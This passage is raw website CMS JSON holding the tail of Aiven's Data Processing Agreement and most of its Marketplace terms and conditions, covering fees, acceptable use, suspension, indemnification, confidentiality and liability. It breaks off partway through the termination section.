number"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ec430c961a2d","_type":"block","children":[{"_key":"0b080a7e4ce20","_type":"span","marks":["strong"],"text":"Special categories of personal data "},{"_key":"0b080a7e4ce21","_type":"span","marks":[],"text":"- No special categories of Personal Data are processed. "}],"markDefs":[],"style":"normal"},{"_key":"e04431e65553","_type":"block","children":[{"_key":"0b080a7e4ce22","_type":"span","marks":["strong"],"text":"Subject matter of the processing"},{"_key":"0b080a7e4ce23","_type":"span","marks":[],"text":" - Hosting, storing and maintenance for the data Customer has input to the Cloud Services. "}],"markDefs":[],"style":"normal"},{"_key":"00b773fcd685","_type":"block","children":[{"_key":"b5942919f5c8","_type":"span","marks":[],"text":"For clarity, the Customer is the Data Controller of, and this DPA is only applied to, the Personal Data input to the Cloud Services by Customer. "}],"markDefs":[],"style":"normal"},{"_key":"e4ac3ba5fe8b","_type":"block","children":[{"_key":"0b080a7e4ce24","_type":"span","marks":[],"text":"Appendix 2 - Aiven’s technical and organizational safety measures"}],"markDefs":[],"style":"h3"},{"_key":"7dbb071e2caf","_type":"block","children":[{"_key":"61ce47bde8e7","_type":"span","marks":[],"text":"This Appendix 2 forms a part of this DPA describing Aiven’s technical and organizational safety measures."}],"markDefs":[],"style":"normal"},{"_key":"34156ab9cad6","_type":"block","children":[{"_key":"f3046a902561","_type":"span","marks":[],"text":"Description of the technical and organizational security measures implemented by Aiven."}],"markDefs":[],"style":"normal"},{"_key":"93fb818adf16","_type":"block","children":[{"_key":"c2f08c6a8bff","_type":"span","marks":[],"text":"Aiven will maintain administrative, physical, and technical safeguards for protection of the security, confidentiality and integrity of Personal Data processed on the Cloud Services as applicable to the specific Cloud Service purchased by the Customer. Aiven complies and is committed to comply with the ISO 27001 certificate to provide sufficient protection for the Personal Data processed under the DPA."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-11-10T10:45:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"This DPA shall set out the terms and conditions for the processing of Personal Data by Aiven on behalf of the Customer under the Agreement.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-73035f58a6549bdc6aa65b0a6fa770dd168a37b8-1200x630-jpg","_type":"reference"}},"metaTitle":"Data Processing Agreement | Aiven"},"slug":{"_type":"slug","current":"/dpa"},"title":"Aiven Data Processing Agreement"}
{"__i18n_lang":"en","_createdAt":"2023-01-23T14:24:21Z","_id":"7e005085-e7e8-4f33-9be2-6e693acba1a2","_rev":"9lf0N1nj0tQugwM8VKXx72","_type":"term","_updatedAt":"2024-03-04T14:22:10Z","content":[{"_key":"5ad7178cd9cb","_type":"block","children":[{"_key":"456ad33344060","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"fd8ebf6d69fa","_type":"block","children":[{"_key":"75ce7979aeac0","_type":"span","marks":[],"text":"This Agreement governs the use of the Aiven Services provided through Marketplace and consists of these Aiven Marketplace terms and conditions ("},{"_key":"75ce7979aeac1","_type":"span","marks":["strong"],"text":"\"General Terms\""},{"_key":"75ce7979aeac2","_type":"span","marks":[],"text":"), the Service Level Agreement ("},{"_key":"75ce7979aeac3","_type":"span","marks":["strong"],"text":"\"SLA\""},{"_key":"75ce7979aeac4","_type":"span","marks":[],"text":"), the Data Processing Agreement ("},{"_key":"75ce7979aeac5","_type":"span","marks":["strong"],"text":"\"DPA\") "},{"_key":"75ce7979aeac6","_type":"span","marks":[],"text":"and the Support Services Description. The Customer accepts this Agreement either by indicating acceptance (e.g. by clicking a checkbox) when first registering to use the Cloud Services through Marketplace or executing an Order Form that references these General Terms and Marketplace Provider’s Terms. If the individual accepting this Agreement is accepting on behalf of a company or other legal entity, such individual represents that they have the authority to bind such entity and its affiliates to this Agreement. If the individual accepting this Agreement does not have such authority, or does not agree with this Agreement, such individual must not accept this Agreement and may not use the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"6ccf9361be77","_type":"block","children":[{"_key":"e02b1a5285300","_type":"span","marks":[],"text":"If Customer registers for a free trial of the Cloud Services, the applicable provisions of these General Terms and Marketplace Provider’s Terms will also govern that free trial. The Cloud Services may not be accessed for purposes of monitoring their availability, performance, or functionality, or for any other benchmarking or competitive purposes."}],"markDefs":[],"style":"normal"},{"_key":"ff22dc63b0ba","_type":"block","children":[{"_key":"ac1957be26140","_type":"span","marks":[],"text":"This Agreement was last updated on 4th of March 2024. It is effective between Aiven and the Customer as of the date of Customer accepting this Agreement."}],"markDefs":[],"style":"normal"},{"_key":"c6267ddb9137","_type":"block","children":[{"_key":"500f28a5c7020","_type":"span","marks":[],"text":"1. Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"a030d4d1ca10","_type":"block","children":[{"_key":"b6baaf73fc25","_type":"span","marks":[],"text":"Aiven will provide the Cloud Services available in the Marketplace to the Customer substantially as set out at Aiven's Web Site, the Marketplace and in this Agreement. The available Services in different Marketplaces may vary. The Customer may order Cloud Services by an Order Form or through its Marketplace account subject to the following: (1) orders may be made by the Customer after registering at the applicable Marketplace or automatically by using APIs of the Cloud Services; (2) the Customer shall be responsible for any orders made under the Customer's account, whether by the Customer itself, by its authorized users, or by the Customer’s data systems automatically, and shall be responsible for the payment of all Fees based on orders made under the Customer's account; (3) no order made by the Customer is valid until accepted by Aiven. Aiven shall be deemed to have accepted the order if it supplies the Cloud Services to the Customer. Aiven reserves the right to place controls and restrict the Customer's orders of the Cloud Services; (4) After Aiven having accepted the order, Aiven will provide the Cloud Services to the Customer without undue delay. All orders are subject to this Agreement and the applicable Marketplace Provider’s Terms."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a57c15da9988","_type":"block","children":[{"_key":"41b2b2b03c660","_type":"span","marks":[],"text":"Unless set out to the contrary, the Cloud Services are supplied on an \"as is\" and \"as available\" basis without any guaranteed service levels. Any applicable service levels have been set out in the SLA and are only applicable to the individual Cloud Service. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the SLA. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e0e267317624","_type":"block","children":[{"_key":"c9cc269184f20","_type":"span","marks":[],"text":"The Cloud Services are updated from time to time due to their inherent nature. Aiven reserves the right to make changes to the Cloud Services at any time. If a change made by Aiven has an adverse effect on the agreed contents of the Cloud Services or the agreed service levels (if any), Aiven shall inform the Customer of such change at least thirty (30) days before the effective date of the change. In such a case the Customer shall have the right to terminate applicable Cloud Services in accordance with Section 12.2 or terminate the relevant Order Form subject to a thirty (30) days' written notice. The termination notice must be delivered to Aiven in writing prior to the effective date of the change."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86e17ef30da8","_type":"block","children":[{"_key":"e3170f13b2890","_type":"span","marks":[],"text":"Aiven shall always have the right, but shall have no obligation, to make such changes to the Cloud Services that (a) concern or relate to the production environment of the Cloud Services and do not have an adverse effect on the agreed contents of the Cloud Services or the agreed service levels or hosting locations, (b) are necessary to prevent any data security risk to the Cloud Services, or (c) result from applicable laws or from a court or administrative order. The Customer shall not have the right to terminate any separately agreed Order Form due to any such changes."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"cc94442e3063","_type":"block","children":[{"_key":"6a12387a6dab0","_type":"span","marks":[],"text":"All facilities used to store and process the Customer's data will adhere to reasonable security standards no less protective than the security standards at facilities where Aiven (or its Subprocessor as relevant) processes and stores its own information of a similar type. Aiven has committed to comply with the information security standard ISO 27001."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"98ca484091a5","_type":"block","children":[{"_key":"d8b819bcb51b0","_type":"span","marks":[],"text":"The Customer uses Beta Services and/or Beta Features in its sole discretion and at its own risk. Beta Services and Beta Features may not be as reliable or as available as the Cloud Services. Beta Services and Beta Features may be changed at any time without notice and may not reach general availability status, i.e. similar status as the Cloud Services. Aiven will have no liability arising out of or in connection with the Beta Services and/or Beta Features."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"af01994a2a93","_type":"block","children":[{"_key":"059248e847930","_type":"span","marks":[],"text":"2. Support and Additional Services"}],"markDefs":[],"style":"h3"},{"_key":"86bf7bb92b0c","_type":"block","children":[{"_key":"2f1bb5f800e80","_type":"span","marks":[],"text":"The Customer may choose to order optional Support Services as available in the Marketplace. A description of the Support Services is set out in the Support Services Description, and Aiven shall provide the Support Services to the Customer substantially as set out in the Support Services Description, the Marketplace and in this Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"497347de2821","_type":"block","children":[{"_key":"1e0eb79e615f0","_type":"span","marks":[],"text":"If the Customer has selected a support tier with service levels applicable to the Support Services, the Support Services shall be provided in accordance with such agreed service levels. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the Support Services Description. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"cc23e8ea0c2f","_type":"block","children":[{"_key":"959561d5e3920","_type":"span","marks":[],"text":"Aiven shall use reasonable commercial efforts to correct at no additional charge any reproducible errors reported by Customer. Aiven shall review all requests for improvements and new functionality, but Aiven shall have no obligation to provide any modifications to the Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"49ce0d912c6f","_type":"block","children":[{"_key":"3e4f5a508f53","_type":"span","marks":[],"text":"The Customer may choose to order optional Additional Services. The Additional Services are described at the Website or in an Order Form, as applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"38b8671c36cb","_type":"block","children":[{"_key":"6a41216363d90","_type":"span","marks":[],"text":"3. Fees and Payment Terms"}],"markDefs":[],"style":"h3"},{"_key":"314d1238ee15","_type":"block","children":[{"_key":"ff71c3bb287d0","_type":"span","marks":[],"text":"The rates applicable for the Services may be reviewed at Website, the Marketplace and/or in the Order Form as applicable. Actual Fees for Services will vary depending on the Customer's use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d467f429b7df","_type":"block","children":[{"_key":"40b2d2e184d80","_type":"span","marks":[],"text":"All Fees will be billed and payable according to the applicable Marketplace Provider’ Terms and/or to the Order Form as applicable.."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8224f27fe215","_type":"block","children":[{"_key":"ec977f7a74c50","_type":"span","marks":[],"text":"Aiven reserves the right to increase the rates applicable to the Cloud Services where this is justified due to the general increase of Aiven's costs and expenses of production (such as but not limited to general increase of labor costs and expenses). Further, Aiven may increase the rates applicable to the Cloud Services by an amount corresponding to an increase of costs of relevant third party offerings. Aiven will inform the Customer of such change at least thirty (30) days before implementing such change. Continuous use of the Cloud Services will be deemed as acceptance of the new Fees."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c8d08d66c813","_type":"block","children":[{"_key":"b58202c72f770","_type":"span","marks":[],"text":"All rates and Fees are set out without value added tax (VAT) or any other applicable sales tax, which shall be added to the rates and Fees in accordance with the then-applicable tax laws and regulations."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"aefb78aa4efb","_type":"block","children":[{"_key":"8b2a9a14eedb0","_type":"span","marks":[],"text":"4. Customer's General Obligations"}],"markDefs":[],"style":"h3"},{"_key":"c21b8fd2eeaf","_type":"block","children":[{"_key":"7c43482cc99a0","_type":"span","marks":[],"text":"The Customer shall be responsible for its own devices, systems, applications, connections and software used to access the Cloud Services. The Customer shall be responsible for the protection of the Customer's data communications and data systems and costs for communications and other comparable costs related to use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3237d52b1004","_type":"block","children":[{"_key":"38a0510b46610","_type":"span","marks":[],"text":"The Customer may authorize users to use the Cloud Services under the Customer's account (e.g. for the purposes of using the Customer's databases). The Customer shall ensure that any users it authorizes to use the Cloud Services under the Customer's account comply with the Marketplace Provider’s Terms and this Agreement at all times and use the Cloud Services only in accordance with this Agreement and the Acceptable Use Policy. The Customer shall be responsible for any use of the Cloud Services under the Customer's account."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"32afaecd28b4","_type":"block","children":[{"_key":"646ab183b7970","_type":"span","marks":[],"text":"The Customer shall be responsible for ensuring that its authorized users maintain their user names and passwords diligently and do not disclose them to third parties. The Customer undertakes to inform Aiven without delay if any password has been revealed to a third party or if the Customer has a reason to suspect misuse of a user name or password. The Customer's liability for the misuse of the Cloud Services by the use of the user name or password of its user shall expire when Aiven has received Customer's written and sufficiently detailed notice of such misuse. The Customer shall change the password required for the use of the Cloud Services upon written request of Aiven if necessary due to data security risk to the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"012b98571bda","_type":"block","children":[{"_key":"d8fd9c72278f0","_type":"span","marks":[],"text":"The Customer is solely responsible for making appropriate backups of its data, and Aiven or its Subprocessors shall in no way be liable for any deletion of or failure to store any data of the Customer or other communications maintained or transmitted to the use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e049837c71ee","_type":"block","children":[{"_key":"7a003a34e8da0","_type":"span","marks":[],"text":"5. Intellectual Property Rights"}],"markDefs":[],"style":"h3"},{"_key":"80e7c275fcb1","_type":"block","children":[{"_key":"0201196ce2a10","_type":"span","marks":[],"text":"Subject to the terms of this Agreement and subject to the due payment of all Fees, the Customer shall have a limited, non-exclusive, non-transferable right to use the Cloud Services during the term of this Agreement or the term of the relevant Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"48f713f0dc02","_type":"block","children":[{"_key":"0975af9e3f740","_type":"span","marks":[],"text":"All rights, title and interest, including all Intellectual Property Rights in and to the Services, and any changes thereto shall belong exclusively to Aiven or its licensors. Except for the express license to use the Cloud Services granted to the Customer under and in accordance with the terms and conditions of this Agreement, the Customer shall have no and shall not by virtue of this Agreement obtain any rights, license or interests in and to the Services or any Intellectual Property Rights pertaining thereto."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dac866d40440","_type":"block","children":[{"_key":"a2894adf1bf90","_type":"span","marks":[],"text":"The Customer shall be solely responsible for its use of the Cloud Services including any breach of this Agreement or the Marketplace Provider’s Terms by the Customer or any of its authorized users."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d76602e93b98","_type":"block","children":[{"_key":"fa2c64dfe7660","_type":"span","marks":[],"text":"All licenses granted to the Customer under the Agreement shall terminate upon the termination of the Agreement for any reason."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6182718bf765","_type":"block","children":[{"_key":"6b11768042610","_type":"span","marks":[],"text":"6. Personal Data"}],"markDefs":[],"style":"h3"},{"_key":"0b5e0505d2b8","_type":"block","children":[{"_key":"0fc4ed45bf220","_type":"span","marks":[],"text":"To the extent the Customer inputs any personal data into the Cloud Services and the processing is subject to the EU General Data Protection Regulation (2016/679, the GDPR), the Parties acknowledge that the Customer acts as a data controller and Aiven is the data processor processing personal data together with its Subprocessors on behalf of the Customer for the purpose of providing the Cloud Services. All such processing of the Customer's personal data by Aiven is subject to the DPA."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b73f677de5d0","_type":"block","children":[{"_key":"5c758f6385eb0","_type":"span","marks":[],"text":"7. Acceptable Use Policy"}],"markDefs":[],"style":"h3"},{"_key":"fe3cf88a1a1b","_type":"block","children":[{"_key":"2810a5fed917","_type":"span","marks":[],"text":"The Customer shall use and ensure that its authorized users use the Cloud Services in accordance with the following acceptable use policy (\"Acceptable Use Policy\"). The Customer is solely responsible for ensuring that the Cloud Services are not used:"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"71ad3cc64446","_type":"block","children":[{"_key":"f3349f332d25","_type":"span","marks":[],"text":"to violate, or encourage the violation of, the legal rights (including without limitation Intellectual Property Rights) of others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ce6f1c140667","_type":"block","children":[{"_key":"b07b5018915f","_type":"span","marks":[],"text":"to engage in, promote or encourage any illegal activity;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fd6cc7edfbad","_type":"block","children":[{"_key":"9c9fdcf1825b","_type":"span","marks":[],"text":"for any unlawful, invasive, infringing, defamatory, offensive, harmful or fraudulent purpose (for example, this may include phishing, creating a pyramid scheme or mirroring a website);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c7be1c1ed938","_type":"block","children":[{"_key":"61e3eef1d77b","_type":"span","marks":[],"text":"to intentionally distribute viruses, worms, Trojan horses, corrupted files, hoaxes, or other items of a destructive or deceptive nature;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ea96c2a1c7dc","_type":"block","children":[{"_key":"017662ccc632","_type":"span","marks":[],"text":"to violate the security or integrity of any network, computer or communications system, software application or network or computing device (such violations to include without limitation unauthorized access, interception of data or traffic or falsification of origin);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"afb4ca66adab","_type":"block","children":[{"_key":"0e63f275ca4a","_type":"span","marks":[],"text":"to make connections to any users, hosts or networks unless the Customer has permission to communicate with them (such network abuses to include without limitation monitoring or crawling, denial of service attacks, intentional interference, operating open proxies, open mail relays or open recursive domain name servers, or to avoiding system restrictions);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"213b2dd47807","_type":"block","children":[{"_key":"2c60072aab8d","_type":"span","marks":[],"text":"to interfere with the use of the Cloud Services, or the equipment used to provide the Cloud Services, by others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2f7ddeb91dea","_type":"block","children":[{"_key":"467032ef84b0","_type":"span","marks":[],"text":"to disable, interfere with or circumvent any aspect of the Cloud Services;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"be9862980e45","_type":"block","children":[{"_key":"b53c21ce75ae","_type":"span","marks":[],"text":"to generate, distribute, publish or facilitate unsolicited mass email, promotions, advertising or other solicitations (\"spam\"), including alteration or obscuring mail headers or assuming sender's identities, collecting replies to messages sent from a third party provider if such messages would violate the policies set out herein or comparable policies of such third party; or"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9b1d6c84a22d","_type":"block","children":[{"_key":"56668d6bbbe4","_type":"span","marks":[],"text":"to use the Cloud Services, or any interfaces provided with the Cloud Services, to access any other product or service of Aiven, its Subprocessors or subcontractors, in a manner that violates their applicable terms of service."}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b1eb8efc5790","_type":"block","children":[{"_key":"3c02794b96b9","_type":"span","marks":[],"text":"Aiven (and its Subprocessors and subcontractors where appropriate) reserve the right but assume no obligation to review the Customer's use of the Cloud Services, including the Customer's data to ensure compliance with the Acceptable Use Policy and to discontinue any use by the Customer of the Cloud Services and removing any infringing data of the Customer. Aiven (and its Subprocessors and subcontractors where appropriate) may report suspected infringing activities to officials, regulators or other appropriate third parties, including the disclosure of appropriate information regarding the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6a8bb9923e7c","_type":"block","children":[{"_key":"d1d52f79a5de","_type":"span","marks":[],"text":"If the Customer becomes aware that its use of the Cloud Services infringes the Acceptable Use Policy set out herein, the Customer agrees to immediately cease the infringing use of the Cloud Services without separate notice. The Customer agrees to comply with any requests of Aiven as regards to any use of the Cloud Services that infringes the Acceptable Use Policy set out herein."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"95289d2e2ed9","_type":"block","children":[{"_key":"be1fb159b6e4","_type":"span","marks":[],"text":"\n8. Suspension and Discontinuation of Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"7be422687c47","_type":"block","children":[{"_key":"853291fae8180","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services for a reasonable period of time if such is necessary in order to perform installation, change or maintenance work in respect of the Cloud Services or if such suspension results from installation, change or maintenance work in respect of public communication networks."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"07fe3875ed75","_type":"block","children":[{"_key":"2be1cbceab520","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services and/or deny the Customer's access to the Cloud Services without first hearing the Customer due to (a) a significant data security risk to the Cloud Services, (b) if applicable law or a court or administrative order requires Aiven to do so, (c) if Aiven becomes aware of, or reasonably suspects, any activities of the Customer or its authorized users that infringe on the Acceptable Use Policy or if the Customer has violated these General Terms, Marketplace Provider’s Terms or other agreements or guidelines which maybe be associated with use of the Cloud Services (d) if the Cloud Services are used contrary to, or for a purpose prohibited by this Agreement, applicable laws or court or administrative orders, or (e) the Cloud Services are used in a manner that jeopardizes the provision of the Cloud Services to other users. Aiven shall promptly notify the Customer of the suspension of the Cloud Services under this Section as well as the grounds for such suspension and shall use its best efforts to resolve the issue with the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c9599dc49bce","_type":"block","children":[{"_key":"6a8cc0c141920","_type":"span","marks":[],"text":"Aiven shall always have the right to suspend the Cloud Services, if the Customer is in default with its payment of undisputed Fees due under this Agreement and does not pay such Fees despite a request to pay within fourteen (14) days calculated from the date of such request. The suspension can be continued until the Customer has paid all Fees due under this Agreement, after which Aiven shall continue the provision of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5cd3dc45c6c1","_type":"block","children":[{"_key":"b3b1c53f262f0","_type":"span","marks":[],"text":"The Customer understands that the Cloud Services are hosted by a Subprocessor of Aiven chosen by the Customer from the options provided by Aiven on the Web Site. Such Subprocessors may reserve rights to discontinue their hosting at any time. Aiven shall not be liable in any way for any discontinuation of such services provided by Subprocessors. Aiven undertakes to inform the Customer of such discontinuation without delay after having become aware of any third party plans to discontinue the provision of hosting services affecting the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fd70235360f3","_type":"block","children":[{"_key":"179fcd31c1600","_type":"span","marks":[],"text":"9. Indemnification"}],"markDefs":[],"style":"h3"},{"_key":"12be4d2208ff","_type":"block","children":[{"_key":"faa72c8dc7bc0","_type":"span","marks":[],"text":"Aiven agrees to defend the Customer, at Aiven's own expense, against any third party claims or actions where a third party claims that the Cloud Services infringe upon the Intellectual Property Rights of a third party valid in the European Economic Area (\"EEA\"), provided that the Customer: (a) notifies Aiven of such claim immediately upon receipt of notice thereof; (b) provides Aiven, free of charge, with all available information, permissions and assistance; (c) grants Aiven the sole and exclusive right to control the defense of the claim; and (d) does not agree on any settlement of such claim or action prior to a final judgment thereon by a competent court of law or court of arbitration, without the express prior written consent of Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4d184bb56ec8","_type":"block","children":[{"_key":"9f8b4f421ce20","_type":"span","marks":[],"text":"If the Customer has acted in accordance with the sub-list (a)-(d) of Section 9.1, Aiven shall pay any damages finally awarded to the third party claimant by a competent court of law or court of arbitration."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0e8924c44c2a","_type":"block","children":[{"_key":"02e9b6b64c770","_type":"span","marks":[],"text":"If Aiven justifiably deems that the Cloud Services infringe or may infringe upon any third party rights, Aiven shall have the right, at its own expense and in its sole discretion, to (a) acquire for the Customer the right to continue the use of the Cloud Services; or (b) replace the Cloud Services; or (c) modify the Cloud Services to the extent necessary to avoid the infringement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3ad0bb350e39","_type":"block","children":[{"_key":"1fc78a8038120","_type":"span","marks":[],"text":"If none of the alternatives defined in Section 9.3 are available to Aiven on commercially reasonable terms and/or without the significant loss of time, Aiven shall have the right to terminate the Agreement in whole or in part subject to a notice period set by Aiven, upon which the Customer agrees to cease using the Cloud Services and Aiven agrees to reimburse the Fees paid by the Customer for the terminated Cloud Services, less a proportion equal to the time of use of the Cloud Services by the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e2c49443fb8f","_type":"block","children":[{"_key":"fba9543e95040","_type":"span","marks":[],"text":"The indemnity in this Section 9 shall not apply to, and Aiven is not liable for any claim that (a) is based on a claim by any Affiliate of the Customer; or (b) is based on the modification or alteration of the Cloud Services or a modification or alteration influencing the Cloud Services by the Customer or any third party; or (c) results from complying with any instructions, specifications or design given by the Customer or any third party under the command and control of the Customer; (d) arises or results from the use of the Cloud Services in combination with any software, equipment or products not developed or supplied by Aiven or which are contrary to instructions given by Aiven; or (e) could have been avoided by using the latest version of the Cloud Services made available by Aiven to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"96d6d041aba4","_type":"block","children":[{"_key":"9e77b69402750","_type":"span","marks":[],"text":"This Section 9 sets out the entire liability of Aiven and the Customer's sole remedy in case of any infringement of any Intellectual Property Rights."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"09801636d86c","_type":"block","children":[{"_key":"a8a061f5069d0","_type":"span","marks":[],"text":"The Customer agrees to indemnify Aiven, at the Customer's own expense, against any claims made towards Aiven based on any information or data the Customer inputs to the Cloud Services, including without limitation claims that the Customer's data infringes third party intellectual property rights, Marketplace Provider’s Terms or that the data otherwise infringes applicable laws."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"08b3adad1fe4","_type":"block","children":[{"_key":"91ac768b8a980","_type":"span","marks":[],"text":"10. Confidentiality"}],"markDefs":[],"style":"h3"},{"_key":"39ece3441823","_type":"block","children":[{"_key":"a20df94c78b50","_type":"span","marks":[],"text":"Each Party shall keep in confidence all material and information received from the other Party and marked as confidential or which should be understood to be confidential (\"Confidential Information\"), and may not use such Confidential Information for any other purpose than those set forth in the Agreement. The confidentiality obligation shall, however, not apply to material and information, (a) which is or later becomes generally available or otherwise public; or (b) which the receiving Party has received from a third party without any obligation of confidentiality; or (c) which was rightfully in the possession of the receiving Party prior to receipt of the same from the disclosing Party without any obligation of confidentiality related thereto; (d) which a Party has independently developed without any use of or reference to the Confidential Information received from the other Party; or (e) which a Party is required to disclose under any mandatory law or by order of a court or governmental body of competent jurisdiction."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"64920710eee2","_type":"block","children":[{"_key":"4b7c17bc03d90","_type":"span","marks":[],"text":"Each Party shall promptly upon termination of the Agreement, or when the Party no longer needs the Confidential Information in question for the purpose of performing its obligations or exercising its rights under the Agreement, cease using the Confidential Information received from the other Party and, unless the Parties separately agree on destruction of such Confidential Information, return the Confidential Information in question (including all copies and reproductions thereof) to the other Party. Each Party shall, however, be entitled to retain the copies required by law or administrative orders applicable to such Party."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4224bbf3b856","_type":"block","children":[{"_key":"cd5290b326690","_type":"span","marks":[],"text":"Notwithstanding the confidentiality obligation set forth herein, each Party shall be entitled to use the general professional skills and experience acquired in connection with the performance of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8b28eb859864","_type":"block","children":[{"_key":"091a02318b4f0","_type":"span","marks":[],"text":"The rights and obligations related to the Confidential Information shall survive the termination of this Agreement for any reason for a period of three (3) years from such termination."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1f881a8669a4","_type":"block","children":[{"_key":"edd83643ab7d0","_type":"span","marks":[],"text":"11. Limitation of Liability"}],"markDefs":[],"style":"h3"},{"_key":"82355fcb36ee","_type":"block","children":[{"_key":"898df6e7700f0","_type":"span","marks":[],"text":"The total aggregate liability of a Party towards the other Party under the Agreement shall not exceed (i) an amount equal to the Fees paid by the Customer to Aiven during the six (6) months preceding the event giving rise to the liability; or (ii) fifty thousand (50.000) Euro, whichever is less."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"308aa6ab43c4","_type":"block","children":[{"_key":"d406b3f31e8d0","_type":"span","marks":[],"text":"A Party shall not be liable for any indirect, incidental, or consequential damages such as loss of profits, revenue or business, damages caused due to decrease in turnover or production or loss, alteration, destruction or corruption of data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4725b39c9dae","_type":"block","children":[{"_key":"389252efa6d50","_type":"span","marks":[],"text":"The limitations of liability shall not apply to damages caused by willful misconduct or gross negligence or to liability under Section 9 (Indemnification) or Section 10 (Confidentiality)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7c311b02b042","_type":"block","children":[{"_key":"324c0462aab30","_type":"span","marks":[],"text":"12. Term and Termination"}],"markDefs":[],"style":"h3"},{"_key":"d2fe64c7bedc","_type":"block","children":[{"_key":"9dfceeba7c850","_type":"span","marks":[],"text":"This Agreement shall enter into force when the Customer has accepted this Agreement when registering for the first time to use the Cloud Services. If the Cloud Services are ordered through a separate Order Form, this Agreement will become effective as stated in the Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"47176570ae49","_type":"block","children":[{"_key":"ccfc810ea3200","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, the Agreement shall remain in force until terminated by a Party by a two (2) months' written notice to the other Party. Unless expressly set out to the contrary in the Order Form, the Customer may terminate the order of any individual Cloud Service at any time by choosing that option at the Customer's account on the Web Site, in which case the invoicing for the relevant Cloud Service shall be stopped from that day onward. If a Customer terminates individual Cloud Services, the Agreement remains in force until terminated as set out in this section 12."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d5e72c4bdfc4","_type":"block","children":[{"_key":"6f850f85454c0","_type":"span","marks":[],"text":"Each Party may terminate the Agreement in whole for cause with immediate effect upon written notice to the other Party if (a) the other Party becomes insolvent, applies for or is adjudicated in bankruptcy or 